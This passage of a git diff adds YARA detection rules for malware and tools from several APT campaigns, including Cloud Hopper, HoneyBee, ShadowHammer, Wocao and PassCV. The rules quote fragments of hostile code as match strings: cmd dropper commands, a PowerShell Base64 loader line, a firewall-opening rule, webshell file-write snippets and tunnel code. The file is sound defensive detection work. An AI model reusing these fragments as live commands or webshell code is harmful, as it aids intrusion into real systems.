+      id = "a5d3237e-d6db-54ba-bfa6-f642f8096819"
+   strings:
+      $x1 = "bakshell.EXE" fullword wide
+      $s19 = "bakshell Applicazione MFC" fullword wide
+      $op0 = { 83 c4 34 c3 57 8b ce e8 92 18 00 00 68 20 70 40 } /* Opcode */
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 2 of them )
+}
+
+rule OpCloudHopper_Malware_11 {
+   meta:
+      description = "Detects malware from Operation Cloud Hopper"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+      date = "2017-04-03"
+      hash1 = "a80f6c57f772f20d63021c8971a280c19e8eafe7cc7088344c598d84026dda15"
+      id = "18bd2fa9-7eca-5dbc-8e79-953800d5bb0a"
+   strings:
+      $x1 = "IOGVWDWCXZVRHTE" fullword ascii
+
+      $op1 = { c9 c3 56 6a 00 8b f1 6a 64 e8 dd 34 00 00 c7 06 } /* Opcode */
+      $op2 = { 68 38 00 41 00 68 34 00 41 00 e8 d3 } /* Opcode */
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 2 of them )
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-04-07
+   Identifier: Operation Cloud Hopper - Related
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule OpCloudHopper_lockdown {
+   meta:
+      description = "Tools related to Operation Cloud Hopper"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "8ca61cef74573d9c1d19b8191c23cbd2b7a1195a74eaba037377e5ee232b1dc5"
+      id = "0500f19c-597b-5904-8401-35236215ff29"
+   strings:
+      $s1 = "lockdown.dll" fullword ascii
+      $s3 = "mfeann.exe" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule OpCloudHopper_WindowXarBot {
+   meta:
+      description = "Malware related to Operation Cloud Hopper"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
+      date = "2017-04-07"
+      id = "4434632a-1886-5e8b-a205-12220263980a"
+   strings:
+      $s1 = "\\Release\\WindowXarbot.pdb" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
+}
+
+rule OpCloudHopper_WmiDLL_inMemory {
+   meta:
+      description = "Malware related to Operation Cloud Hopper - Page 25"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
+      date = "2017-04-07"
+      id = "0afb6e52-bc9a-5a68-890b-79a017e5d554"
+   strings:
+      $s1 = "wmi.dll 2>&1" ascii
+   condition:
+      all of them
+}
+
+rule VBS_WMIExec_Tool_Apr17_1 {
+   meta:
+      description = "Tools related to Operation Cloud Hopper"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "21bc328ed8ae81151e7537c27c0d6df6d47ba8909aebd61333e32155d01f3b11"
+      id = "8175eb74-38f1-5d8f-a668-aa8e215b032e"
+   strings:
+      $x1 = "strNetUse = \"cmd.exe /c net use \\\\\" & host" fullword ascii
+      $x2 = "localcmd = \"cmd.exe /c \" & command " ascii
+      $x3 = "& \" > \" & TempFile & \" 2>&1\"  '2>&1 err" fullword ascii
+      $x4 = "strExec = \"cmd.exe /c \" & cmd & \" >> \" & resultfile & \" 2>&1\"  '2>&1 err" fullword ascii
+      $x5 = "TempFile = objShell.ExpandEnvironmentStrings(\"%TEMP%\") & \"\\wmi.dll\"" fullword ascii
+
+      $a1 = "WMIEXEC ERROR: Command -> " ascii
+      $a2 = "WMIEXEC : Command result will output to" fullword ascii
+      $a3 = "WMIEXEC : Target ->" fullword ascii
+      $a4 = "WMIEXEC : Login -> OK" fullword ascii
+      $a5 = "WMIEXEC : Process created. PID:" fullword ascii
+   condition:
+      ( filesize < 40KB and 1 of them ) or 3 of them
+}
diff --git a/yara-Neo23x0/apt_op_honeybee.yar b/yara-Neo23x0/apt_op_honeybee.yar
new file mode 100644
index 0000000..bb9c69d
--- /dev/null
+++ b/yara-Neo23x0/apt_op_honeybee.yar
@@ -0,0 +1,86 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-03-03
+   Identifier: Operation HoneyBee
+   Reference: https://goo.gl/JAHZVL
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule HoneyBee_Dropper_MalDoc {
+   meta:
+      description = "Detects samples from Operation Honeybee"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/JAHZVL"
+      date = "2018-03-03"
+      hash1 = "86981680172bbf0865e7693fe5a2bbe9b3ba12b3f1a1536ef67915daab78004c"
+      hash2 = "0d4352322160339f87be70c2f3fe096500cfcdc95a8dea975fdfc457bd347c44"
+      id = "4e8dec29-2c0a-5760-91c9-88f67505a7f1"
+   strings:
+      $x1 = "cmd /c expand %TEMP%\\setup.cab -F:* %SystemRoot%\\System32"
+      $x2 = "del /f /q %TEMP%\\setup.cab && cliconfg.exe"
+
+      $s1 = "SELECT * FROM Win32_Processor" fullword ascii
+      $s2 = "\"cmd /c `wusa " fullword ascii
+      $s3 = "sTempPathP" fullword ascii
+      $s4 = "sTempFile" fullword ascii
+      $s5 = "GetObjectz" fullword ascii
+      $s6 = "\\setup.cab" ascii
+   condition:
+      uint16(0) == 0xcfd0 and filesize < 400KB and ( 1 of ($x*) or 4 of them )
+}
+
+rule OpHoneybee_Malware_1 {
+   meta:
+      description = "Detects malware from Operation Honeybee"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/JAHZVL"
+      date = "2018-03-03"
+      hash1 = "d31fe5cfa884e04ee26f323b8d104dcaa91146f5c7c216212fd3053afaade80f"
+      hash2 = "fc2bcd38659ae83fd25b4f7091412ae9ba011612fa4dcc3ef665b2cae2a1d74f"
+      hash3 = "2c5e5c86ca4fa172341c6bcbaa50984fb168d650ae9a33f2c6e6dccc1d57b369"
+      hash4 = "439c305cd408dbb508e153caab29d17021a7430f1dbaec0c90ac750ba2136f5f"
+      id = "5f48434e-efe6-5cd8-85e2-eabf528e6c58"
+   strings:
+      $x1 = "cmd /c taskkill /im cliconfg.exe /f /t && del /f /q" fullword ascii
+      $x2 = "\\FTPCom_vs10\\Release\\Engine.pdb" ascii
+      $x3 = "KXU/yP=B29tLzidqNRuf-SbVInw0oCrmWZk6OpFc7A5GTD1QxaJ3H8h4jMeEsYglv" fullword ascii
+      $x4 = "D:\\Task\\MiMul\\" ascii
+
+      $s1 = "[DLL_PROCESS_ATTACH]" fullword ascii
+      $s2 = "cmd /c systeminfo >%s" fullword ascii
+      $s3 = "post.txt" fullword ascii
+      $s4 = "\\temp.ini" ascii
+      $s5 = "[GetFTPAccountInfo_10001712]" fullword ascii
+      $s6 = "ComSysAppMutex" fullword ascii
+      $s7 = "From %s (%02d-%02d %02d-%02d-%02d).txt" fullword ascii
+      $s8 = "%s %s %c%s%c" fullword ascii
+      $s9 = "TO EVERYONE" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and (
+        pe.imphash() == "e14b59a79999cc0bc589a4cb5994692a" or
+        pe.imphash() == "64400f452e2f60305c341e08f217b02c" or
+        1 of ($x*) or
+        3 of them
+      )
+}
+
+rule OpHoneybee_MaoCheng_Dropper {
+   meta:
+      description = "Detects MaoCheng dropper from Operation Honeybee"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/JAHZVL"
+      date = "2018-03-03"
+      hash1 = "35904f482d37f5ce6034d6042bae207418e450f4"
+      id = "b163e08e-3892-55f6-ae3e-30d2ba3f4310"
+   strings:
+      $x1 = "\\MaoCheng\\Release\\" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 600KB and 1 of them
+}
diff --git a/yara-Neo23x0/apt_op_shadowhammer.yar b/yara-Neo23x0/apt_op_shadowhammer.yar
new file mode 100644
index 0000000..fe7944d
--- /dev/null
+++ b/yara-Neo23x0/apt_op_shadowhammer.yar
@@ -0,0 +1,22 @@
+
+rule MAL_APT_Operation_ShadowHammer_MalSetup {
+   meta:
+      description = "Detects a malicious file used by BARIUM group in Operation ShadowHammer"
+      date = "2019-03-25"
+      author = "Florian Roth (Nextron Systems)"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      score = 80
+      hash1 = "ac0711afee5a157d084251f3443a40965fc63c57955e3a241df866cfc7315223"
+      hash2 = "9acd43af36f2d38077258cb2ace42d6737b43be499367e90037f4605318325f8"
+      hash3 = "bca9583263f92c55ba191140668d8299ef6b760a1e940bddb0a7580ce68fef82"
+      hash4 = "c299b6dd210ab5779f3abd9d10544f9cae31cd5c6afc92c0fc16c8f43def7596"
+      hash5 = "6aedfef62e7a8ab7b8ab3ff57708a55afa1a2a6765f86d581bc99c738a68fc74"
+      hash6 = "cfbec77180bd67cceb2e17e64f8a8beec5e8875f47c41936b67a60093e07fcfd"
+      reference = "https://securelist.com/operation-shadowhammer/89992/"
+      id = "000f840a-848d-5f82-84bf-70690efbd4de"
+   strings:
+      $x1 = "\\AsusShellCode\\Release" ascii
+      $x2 = "\\AsusShellCode\\Debug"
+   condition:
+      uint16(0) == 0x5a4d and 1 of them
+}
diff --git a/yara-Neo23x0/apt_op_wocao.yar b/yara-Neo23x0/apt_op_wocao.yar
new file mode 100644
index 0000000..eb5e9f4
--- /dev/null
+++ b/yara-Neo23x0/apt_op_wocao.yar
@@ -0,0 +1,394 @@
+
+rule APT_MAL_CN_Wocao_Agent_Csharp {
+    meta:
+        description = "Strings from CSharp version of Agent"
+        author = "Fox-IT SRT"
+        reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+
+        id = "e5212226-a82d-558d-abb4-43ad7848764e"
+    strings:
+        $a = "mysend(client_sock, new byte[] { 0x16, 0x00 }, 2);" ascii wide
+        $b = "Dns.GetHostAddresses(sip.Remove(sip.Length - 1));" ascii wide
+        $c = "Port = 256 * buf[4] + buf[5];" ascii wide
+        $d = "Port = 256 * buf[AddrLen] + buf[AddrLen + 1];" ascii wide
+        $e = "StartTransData(CliSock" ascii wide
+        $f = "static void ForwardTransmit(object ft_data)" ascii wide
+
+        $key = "0x4c, 0x1b, 0x68, 0x0b, 0x6a, 0x18, 0x09, 0x41, 0x5a, 0x36, 0x1f, 0x56, 0x26, 0x2a, 0x03, 0x44, 0x7d, 0x5f, 0x03, 0x7b, 0x07, 0x6e, 0x03, 0x77, 0x30, 0x70, 0x52, 0x42, 0x53, 0x67, 0x0a, 0x2a" ascii wide
+        $key_raw = { 4c1b680b6a1809415a361f56262a03447d5f037b076e03773070524253670a2a }
+
+    condition:
+        1 of them
+}
+
+rule APT_MAL_CN_Wocao_agent_powershell_dropper {
+    meta:
+        description = "Strings from PowerShell dropper of CSharp version of Agent"
+        author = "Fox-IT SRT"
+        reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+
+        id = "833ce607-56a9-5580-bbd1-e72392945fec"
+    strings:
+        $a = "function format([string]$source)"
+        $b = "foreach($c in $bb){$tt = $tt + [char]($c -bxor"
+        $c = "[agent]::Main($args);"
+
+    condition:
+        1 of them
+}
+
+rule APT_MAL_CN_Wocao_agent_powershell_b64encoded {
+    meta:
+        description = "Piece of Base64 encoded data from Agent CSharp version"
+        author = "Fox-IT SRT"
+        reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+
+        id = "14e1702d-6229-5989-8bb7-cc9c0c321676"
+    strings:
+        $header = "LFNVT0hBBnVfVVJDSx0sU1VPSEEGdV9VUkNLCG9pHSxTVU9IQQZ1X1VSQ0sIZUlK"
+
+    condition:
+        all of them
+}
+
+rule APT_MAL_CN_Wocao_agent_py {
+    meta:
+        description = "Strings from Python version of Agent"
+        author = "Fox-IT SRT"
+        reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+
+        id = "ca30dd6a-b596-54ab-b4f0-50e6b1382f73"
+    strings:
+        $a = "vpshex.decode"
+        $b = "self._newsock.recv"
+        $c = "Rsock.connect"
+        $d = /MAX_DATALEN\s?=\s?10240/
+        $e = /LISTEN_MAXCOUNT\s?=\s?80/
+        $f = "ListenSock.listen(LISTEN_MAXCOUNT)"
+        $g = "nextsock.send(head)"
+        $h = "elif transnode"
+        $i = "infobuf[4:6]"
+
+        $key = "L\\x1bh\\x0bj\\x18\\tAZ6\\x1fV&*\\x03D}_\\x03{\\x07n\\x03w0pRBSg\\n*"
+    condition:
+        1 of them
+}
+
+rule APT_MAL_CN_Wocao_agent_py_b64encoded {
+    meta:
+        description = "Piece of Base64 encoded data from Agent Python version"
+        author = "Fox-IT SRT"
+        reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+
+        id = "eb2701e9-4358-5d24-bfcd-b4dde24f13bf"
+    strings:
+        $header = "QlpoOTFBWSZTWWDdHjgABDTfgHwQe////z/v/9+////6YA4cGPsAl2e8M9LSU128"
+
+    condition:
+        all of them
+}
+
+rule APT_MAL_CN_Wocao_keylogger_py {
+    meta:
+        description = "Strings from Python keylogger"
+        author = "Fox-IT SRT"
+        reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+
+        id = "f7b5ec1b-669e-5e7d-a9d3-011d212eb363"
+    strings:
+        $a = "c:\\windows\\temp\\tap.tmp"
+        $b = "c:\\windows\\temp\\mrteeh.tmp"
+        $c = "GenFileName"
+        $d = "outfile"
+        $e = "[PASTE:%d]"
+
+    condition:
+        3 of them
+}
+
+rule APT_MAL_CN_Wocao_keylogger_file {
+    meta:
+        description = "Rule for finding keylogger output files"
+        author = "Fox-IT SRT"
+        reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+
+        id = "22e866b3-4b02-593a-b9a6-aa86870b6509"
+    strings:
+        $a = { 0d 0a 20 [3-10] 53 74 61 72 74 75 70 3a 20 [3] 20 [3] 20 [2] 20 [2] 3a [2] 3a [2] 20 }
+
+    condition:
+        all of them
+}
+
+rule APT_MAL_CN_Wocao_xserver_csharp {
+    meta:
+        description = "Strings from the CSharp version of XServer"
+        author = "Fox-IT SRT"
+        reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+
+        id = "48f4c88d-fb56-54ca-84e2-38f88804a50f"
+    strings:
+        $a = "static void ServerX(int ListenPort)" ascii wide
+        $b = "public class xserver" ascii wide
+        $c = "[xserver]::Main($args);" ascii wide
+        $d = "add rule name=powershell dir=in localport=47000 action=allow" ascii wide
+        $e = "string TempFile = file_path + \".CT\";" ascii wide
+        $f = "Port = 256 * RecvBuf[AddrLen + 5] + RecvBuf[AddrLen + 6];"
+        $g = "CliSock.Send(new byte[] { 0x05, 0x00 });"
+
+    condition:
+        1 of them
+}
+
+rule APT_MAL_CN_Wocao_xserver_powershell_b64encoded {
+    meta:
+        description = "Piece of Base64 encoded data from the XServer PowerShell dropper"
+        author = "Fox-IT SRT"
+        reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+
+        id = "01e38cfb-b245-5398-b037-6d1d2fb726ee"
+    strings:
+        $header_47000 = "5T39c9u2kr/nr2A0Ny2VKIzkfLRJntuJHafPN/nwWG777rUZDy3BNq8UqSEpx26b"
+        $header_25667 = "5T1rc9u2st/zKxjNmZZKFEZyErdJ6nZsx+nxnTjxWGp77mkzHlqCbd5SpIak/Gjr"
+    condition:
+        any of them
+}
+
+rule APT_MAL_CN_Wocao_xserver_powershell_dropper {
+    meta:
+        description = "Strings from the PowerShell dropper of XServer"
+        author = "Fox-IT SRT"
+        reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+
+        id = "97169ab4-d68d-5137-83de-d9cac975747e"
+    strings:
+        $encfile = "New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($encfile)"
+    condition:
+        all of them
+}
+
+rule APT_MAL_CN_Wocao_injector_bin {
+    meta:
+        description = "Process injector/launcher"
+        author = "Fox-IT SRT"
+        reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+
+        id = "389279f1-6531-594f-97b6-5adbc8fa4d3d"
+    strings:
+        $a = "%s{%04d-%02d%02d-%02d%02d-%d%ld}.tmp"
+        $b = "s% > s% c/ exe.d"
+        $c = {
+            48 89 5C 24 08 48 89 74  24 10 57 48 83 EC 50 48
+            8B 71 08 48 8D 59 10 48  8B F9 48 8B CB FF 17 33
+            C9 48 8D 47 78 48 89 44  24 48 4C 8D 87 9C 03 00
+            00 48 89 5C 24 40 48 8D  97 90 00 00 00 4C 89 44
+            24 38 45 33 C9 48 89 4C  24 30 45 33 C0 89 4C 24
+            28 C7 44 24 20 01 00 00  00 66 89 4B 40 FF D6 48
+            8B 5C 24 60 33 C0 48 8B  74 24 68 48 83 C4 50 5F
+            C3
+        }
+
+    condition:
+        1 of them
+}
+
+rule APT_MAL_CN_Wocao_timeliner_bin {
+    meta:
+        description = "Timeliner utility"
+        author = "Fox-IT SRT"
+        reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+
+        id = "3d81a4ae-0ce0-5867-ac93-a706556481b6"
+    strings:
+        $a = "[+] Work completed." ascii wide
+        $b = "[-] Create a new file failed." ascii wide
+        $c = "[-] This is not a correct path." ascii wide
+        $d = "%s [TargetPath] <Num> <SavePath>" ascii wide
+        $e = "D\t%ld\t%ld\t%ld\t%d\t%d\t%s\t" ascii wide
+        $f = "D\t%ld\t%ld\t%ld\t-1\t%d\t%s\t" ascii wide
+        $g = "%s\t%ld\t%ld\t%ld\t%I64d\t%d\t%s\t%s" ascii wide
+
+    condition:
+        1 of them
+}
+
+rule APT_MAL_CN_Wocao_checkadmin_bin {
+    meta:
+        description = "Checkadmin utility"
+        author = "Fox-IT SRT"
+        reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+
+        id = "2f819213-ade1-525b-af18-d77b7fc96093"
+    strings:
+        $a = "[-] %s * A system error has occurred: %d" ascii wide
+        $b = {
+            0D 00 0A 00 25 00 6C 00 64 00 20 00 72 00 65 00
+            73 00 75 00 6C 00 74 00 73 00 2E 00 0D 00 0A 00
+        }
+        $c = "%s\t<Access denied>" ascii wide
+
+    condition:
+        1 of them
+}
+
+rule APT_MAL_CN_Wocao_getos_py {
+    meta:
+        description = "Python getos utility"
+        author = "Fox-IT SRT"
+        reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+
+        id = "4a731dde-87e4-566a-b559-d23e0bef5841"
+    strings:
+        $smb_1 = {
+            00 00 00 85 ff 53 4d 42 72 00 00 00 00 18 53 c8
+            00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe
+            00 00 ff b4 00 62 00 02 50 43 20 4e 45 54 57 4f
+            52 4b 20 50 52 4f 47 52 41 4d 20 31 2e 30 00 02
+            4c 41 4e 4d 41 4e 31 2e 30 00 02 57 69 6e 64 6f
+            77 73 20 66 6f 72 20 57 6f 72 6b 67 72 6f 75 70
+            73 20 33 2e 31 61 00 02 4c 4d 31 2e 32 58 30 30
+            32 00 02 4c 41 4e 4d 41 4e 32 2e 31 00 02 4e 54
+            20 4c 4d 20 30 2e 31 32 00
+        }
+        $smb_2 = {
+            00 00 00 c8 ff 53 4d 42 73 00 00 00 00 18 03 c8
+            00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe
+            00 00 3f b5 0c ff 00 c8 00 04 11 32 00 00 00 00
+            00 00 00 28 00 00 00 00 00 d4 00 00 a0 8d 00 4e
+            54 4c 4d 53 53 50 00 01 00 00 00 07 82 88 a2 00
+            00 00 00 28 00 00 00 00 00 00 00 28 00 00 00 05
+            01 28 0a 00 00 00 0f 00 00 00 00 00 00 00 00 00
+            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+            00 00 00 00 00 00 00 00 00 00 00 00
+        }
+        $smbstr_1 = "\\x00\\x00\\x00\\x85\\xffSMBr\\x00\\x00\\x00\\x00\\x18S\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\xff\\xb4\\x00b\\x00\\x02PC NETWORK PROGRAM 1.0\\x00\\x02LANMAN1.0\\x00\\x02Windows for Workgroups 3.1a\\x00\\x02LM1.2X002\\x00\\x02LANMAN2.1\\x00\\x02NT LM 0.12\\x00"
+        $smbstr_2 = "\\x00\\x00\\x00\\xc8\\xffSMBs\\x00\\x00\\x00\\x00\\x18\\x03\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00?\\xb5\\x0c\\xff\\x00\\xc8\\x00\\x04\\x112\\x00\\x00\\x00\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00\\x00\\xd4\\x00\\x00\\xa0\\x8d\\x00NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x07\\x82\\x88\\xa2\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x05\\x01(\\n\\x00\\x00\\x00\\x0f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
+
+        $code_1 = "return 'Other error.'" ascii wide
+        $code_2 = "sblob = buf[47:47 + sbl]" ascii wide
+        $code_3 = "re.split('[\\x00-,]+', y[-4])" ascii wide
+        $code_4 = "('').join(sblob[off:off + hlen].split('\\x00'))" ascii wide
+        $code_5 = "banner = '%s    %s' % (hostname, native)" ascii wide
+        $code_6 = "banner = '%s\\\\%s    %s' % (dm, hostname, native)" ascii wide
+
+        $tsk_1 = "PushTask" ascii wide
+        $tsk_2 = "parse_task" ascii wide
+        $tsk_3 = "commit_task" ascii wide
+
+        $str_1 = "Usage: getos.py <ip-range|ip-file>" ascii wide
+        $str_2 = "The path '%s' write fails." ascii wide
+        $str_3 = "Receive a signal %d," ascii wide
+        $str_4 = "Scan Complete!" ascii wide
+        $str_5 = "line: %d, %s: %s" ascii wide
+        $str_6 = "Other error." ascii wide
+
+    condition:
+        (all of ($smb_*)) or
+        (all of ($smbstr_*)) or
+        (3 of ($code_*)) or
+        (all of ($tsk_*)) or
+        (3 of ($str_*))
+}
+
+rule APT_MAL_CN_Wocao_info_vbs {
+    meta:
+        description = "Strings from the information grabber VBS"
+        author = "Fox-IT SRT"
+        reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+
+        id = "b719fb31-2836-5faf-a7c8-c361a14df2be"
+    strings:
+        $ = "Logger PingConnect"
+        $ = "Logger GetAdmins"
+        $ = "Logger InstallPro"
+        $ = "Logger Exec"
+        $ = "retstr = adminsName & \" Members\" & vbCrLf & _"
+        $ = "Logger VolumeName & \" (\" & objDrive.DriveLetter & \":)\" _"
+        $ = "txtRes = txtRes & machine & \" can"
+        $ = "retstr = \"PID   SID Image Name\" & vbCrLf & \"===="
+
+    condition:
+        4 of them
+}
+
+rule APT_MAL_CN_Wocao_webshell_console_jsp {
+    meta:
+        description = "Strings from the console.jsp webshell"
+        author = "Fox-IT SRT"
+        reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+
+        id = "1afdfc34-d2e3-58c7-80ea-ee5632e42469"
+    strings:
+        $a = "String strLogo = request.getParameter(\"image\")"
+        $b = "!strLogo.equals(\"web.gif\")"
+        $c = "<font color=red>Save Failed!</font>"
+        $d = "<font color=red>Save Success!</font>"
+        $e = "Save path:<br><input type=text"
+        $f = "if (newfile.exists() && newfile.length()>0) { out.println"
+
+    condition:
+        1 of them
+}
+
+rule APT_MAL_CN_Wocao_webshell_index_jsp {
+    meta:
+        description = "Strings from the index.jsp socket tunnel"
+        author = "Fox-IT SRT"
+        reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+
+        id = "9c226ccd-6c69-523c-bca4-371e55274667"
+    strings:
+        $x1 = "X-CMD"
+        $x2 = "X-STATUS"
+        $x3 = "X-TARGET"
+        $x4 = "X-ERROR"
+        $a = "out.print(\"All seems fine.\");"
+
+    condition:
+        all of ($x*) and $a
+}
+
+rule APT_MAL_CN_Wocao_webshell_ver_jsp {
+    meta:
+        description = "Strings from the ver.jsp webshell"
+        author = "Fox-IT SRT"
+        reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+
+        id = "b2828b84-8934-5111-9345-683a07025070"
+    strings:
+        $a = "String strLogo = request.getParameter(\"id\")"
+        $b = "!strLogo.equals(\"256\")"
+        $c = "boolean chkos = msg.startsWith"
+        $d = "while((c = er.read()) != -1)"
+        $e = "out.print((char)c);}in.close()"
+        $f = "out.print((char)c);}er.close()"
+
+    condition:
+        1 of them
+}
+
+rule APT_MAL_CN_Wocao_webshell_webinfo {
+    meta:
+        description = "Generic strings from webinfo.war webshells"
+        author = "Fox-IT SRT"
+        reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+
+        id = "b8477f62-f3f6-5526-b0e3-9b794fefaa1f"
+    strings:
+        $var1 = "String strLogo = request.getParameter"
+        $var2 = "String content = request.getParameter(\"content\");"
+        $var3 = "String basePath=request.getScheme()"
+        $var4 = "!strLogo.equals("
+        $var5 = "if(path!=null && !path.equals(\"\") && content!=null"
+        $var6 = "File newfile=new File(path);"
+
+        $str1 = "Save Success!"
+        $str2 = "Save Failed!"
+
+    condition:
+        2 of ($var*) or (all of ($str*) and 1 of ($var*))
+}
diff --git a/yara-Neo23x0/apt_passcv.yar b/yara-Neo23x0/apt_passcv.yar
new file mode 100644
index 0000000..9e53f4b
--- /dev/null
+++ b/yara-Neo23x0/apt_passcv.yar
@@ -0,0 +1,182 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2016-10-20
+   Identifier: PassCV Group (Cylance)
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule PassCV_Sabre_Malware_1 {
+   meta:
+      description = "PassCV Malware mentioned in Cylance Report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
+      date = "2016-10-20"
+      hash1 = "24a9bfbff81615a42e42755711c8d04f359f3bf815fb338022edca860ff1908a"
+      hash2 = "e61e56b8f2666b9e605127b4fcc7dc23871c1ae25aa0a4ea23b48c9de35d5f55"
+      id = "99a26daa-c563-5b23-89b9-965d8ce7229d"
+   strings:
+      $x1 = "F:\\Excalibur\\Excalibur\\Excalibur\\" ascii
+      $x2 = "bin\\oSaberSvc.pdb" ascii
+
+      $s1 = "cmd.exe /c MD " fullword ascii
+      $s2 = "https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=0&rsv_idx=1&tn=baidu&wd=ip138" fullword wide
